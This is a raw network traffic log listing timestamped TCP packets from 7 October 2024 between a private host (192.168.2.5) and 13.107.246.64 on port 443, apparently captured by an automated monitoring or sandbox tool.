Oct 7, 2024 18:00:25.313752890 CEST	49760	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.313765049 CEST	443	49759	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.313779116 CEST	443	49761	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.313832045 CEST	49761	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.313937902 CEST	49760	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.313949108 CEST	443	49760	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.313962936 CEST	49761	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.313971996 CEST	443	49761	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.581484079 CEST	443	49757	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.582067013 CEST	49757	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.582077980 CEST	443	49757	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.582571983 CEST	49757	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.582576990 CEST	443	49757	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.804073095 CEST	443	49757	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.804140091 CEST	443	49757	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.804188967 CEST	49757	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.808414936 CEST	49757	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.808429003 CEST	443	49757	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.808438063 CEST	49757	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.808443069 CEST	443	49757	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.814601898 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.814623117 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.814793110 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.815226078 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.815239906 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.907382011 CEST	443	49758	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.971831083 CEST	49758	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.971853971 CEST	443	49758	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.976176023 CEST	49758	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.976183891 CEST	443	49758	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.111100912 CEST	443	49760	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.119074106 CEST	443	49759	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.121217012 CEST	443	49761	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.142831087 CEST	49760	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.142832041 CEST	49760	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.142852068 CEST	443	49760	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.142860889 CEST	443	49760	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.166960001 CEST	49759	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.166960001 CEST	49759	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.166974068 CEST	443	49759	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.166991949 CEST	443	49759	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.167207956 CEST	49761	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.167217970 CEST	443	49761	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.167936087 CEST	49761	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.167941093 CEST	443	49761	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.233843088 CEST	443	49760	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.233907938 CEST	443	49760	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.235312939 CEST	49760	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.248332977 CEST	49760	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.248362064 CEST	443	49760	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.248383999 CEST	49760	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.248392105 CEST	443	49760	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.260890961 CEST	443	49759	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.260953903 CEST	443	49759	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.261077881 CEST	49759	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.261280060 CEST	443	49761	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.261348963 CEST	443	49761	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.261396885 CEST	49761	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.261949062 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.261981964 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.262093067 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.262600899 CEST	49759	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.262600899 CEST	49759	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.262629032 CEST	443	49759	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.262634039 CEST	443	49759	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.264457941 CEST	49761	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.264476061 CEST	443	49761	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.264486074 CEST	49761	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.264491081 CEST	443	49761	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.266841888 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.266861916 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.370834112 CEST	443	49758	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.370896101 CEST	443	49758	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.371737003 CEST	49758	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.496601105 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.544334888 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.555248022 CEST	49758	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.555265903 CEST	443	49758	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.555275917 CEST	49758	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.555282116 CEST	443	49758	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.669256926 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.669300079 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.669373989 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.674556971 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.674566031 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.675009966 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.675014973 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.766793013 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.766848087 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.766921043 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.783555031 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.783600092 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.785747051 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.785758018 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.786004066 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.786175013 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.786187887 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.891150951 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.915708065 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.915730000 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.915810108 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.916590929 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.916614056 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.916627884 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.916635036 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.934545994 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.934565067 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.935404062 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.935410976 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.948067904 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.948081017 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.964082956 CEST	49767	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.964131117 CEST	443	49767	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:26.964194059 CEST	49767	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.964342117 CEST	49767	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:26.964354038 CEST	443	49767	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.035839081 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.035916090 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.036000967 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.049685001 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.049705982 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.049758911 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.049766064 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.081665993 CEST	49768	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.081713915 CEST	443	49768	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.081795931 CEST	49768	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.083910942 CEST	49768	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.083941936 CEST	443	49768	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.435560942 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.436288118 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.436302900 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.436774969 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.436780930 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.438333035 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.438735008 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.438761950 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.439116001 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.439121008 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.550184011 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.550246954 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.550261974 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.550313950 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.550430059 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.550489902 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.550554037 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.550558090 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.550573111 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.550573111 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.550596952 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.550601006 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.550617933 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.550647020 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.553951979 CEST	49769	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.553994894 CEST	443	49769	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.554105997 CEST	49769	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.554692984 CEST	49769	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.554708958 CEST	443	49769	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.554718018 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.554725885 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.554821968 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.554908037 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.554920912 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.586755991 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.587330103 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.587342978 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.587866068 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.587872028 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.640629053 CEST	443	49767	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.641711950 CEST	49767	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.641737938 CEST	443	49767	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.642270088 CEST	49767	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.642276049 CEST	443	49767	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.683686972 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.683727980 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.683779001 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.684039116 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.684047937 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.684056997 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.684062004 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.686913013 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.686949015 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.687019110 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.687199116 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.687216997 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.741477013 CEST	443	49767	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.741549015 CEST	443	49767	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.741599083 CEST	49767	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.744889021 CEST	49767	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.744911909 CEST	443	49767	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.744923115 CEST	49767	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.744929075 CEST	443	49767	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.764981985 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.765011072 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.765086889 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.765258074 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.765271902 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.776973963 CEST	443	49768	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.777498960 CEST	49768	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.777584076 CEST	443	49768	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.777925014 CEST	49768	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.777941942 CEST	443	49768	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.877916098 CEST	443	49768	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.877983093 CEST	443	49768	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.878166914 CEST	49768	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.878274918 CEST	49768	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.878274918 CEST	49768	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.878320932 CEST	443	49768	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.878353119 CEST	443	49768	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.881490946 CEST	49773	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.881536007 CEST	443	49773	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:27.881611109 CEST	49773	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.881767035 CEST	49773	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:27.881782055 CEST	443	49773	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:28.193892002 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:28.195080996 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:28.195097923 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:28.195197105 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:28.195202112 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:28.217179060 CEST	443	49769	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:28.217680931 CEST	49769	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:28.217689037 CEST	443	49769	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:28.218149900 CEST	49769	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:28.218162060 CEST	443	49769	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.321054935 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.321111917 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.321371078 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.321371078 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.321470022 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.321489096 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.322007895 CEST	443	49769	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.322058916 CEST	443	49769	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.322096109 CEST	49769	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.322546005 CEST	49769	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.322546005 CEST	49769	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.322551966 CEST	443	49769	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.322561979 CEST	443	49769	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.325201035 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.325229883 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.325443983 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.325839996 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.325862885 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.325911999 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.325938940 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.325947046 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.326144934 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.326154947 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.328495026 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.328943014 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.328957081 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.329425097 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.329432964 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.330912113 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.331255913 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.331264019 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.331640959 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.331645012 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.432910919 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.432965040 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.433043957 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.433315039 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.433315039 CEST	49772	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.433326006 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.433334112 CEST	443	49772	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.434076071 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.434129953 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.434171915 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.434763908 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.434770107 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.434792042 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.434797049 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.436546087 CEST	49776	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.436589003 CEST	443	49776	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.437206030 CEST	49776	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.438280106 CEST	49776	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.438297987 CEST	443	49776	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.439502954 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.439548969 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.439604998 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.439732075 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.439744949 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.517112970 CEST	443	49773	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.517630100 CEST	49773	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.517644882 CEST	443	49773	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.518111944 CEST	49773	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.518115997 CEST	443	49773	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.617938995 CEST	443	49773	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.618007898 CEST	443	49773	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.618061066 CEST	49773	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.618679047 CEST	49773	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.618694067 CEST	443	49773	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.618712902 CEST	49773	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.618719101 CEST	443	49773	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.625938892 CEST	49779	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.625953913 CEST	443	49779	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.626019001 CEST	49779	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.626435995 CEST	49779	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.626447916 CEST	443	49779	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.944071054 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.945487022 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.945504904 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.946202993 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.946208954 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.981523991 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.982142925 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.982168913 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:29.983366966 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:29.983372927 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.120270014 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.120351076 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.120444059 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.120671034 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.120671034 CEST	49775	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.120690107 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.120698929 CEST	443	49775	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.122298956 CEST	443	49776	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.123315096 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.124937057 CEST	49776	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.124969006 CEST	443	49776	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.125884056 CEST	49776	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.125890970 CEST	443	49776	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.126235008 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.126270056 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.126701117 CEST	49777	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.126709938 CEST	443	49777	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.128149986 CEST	49780	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.128189087 CEST	443	49780	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.128256083 CEST	49780	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.128452063 CEST	49780	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.128467083 CEST	443	49780	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.132553101 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.132618904 CEST	443	49774	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:30.132838964 CEST	49774	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:30.132863045 CEST	49774	443	192.168.2.5	13.107.246.64
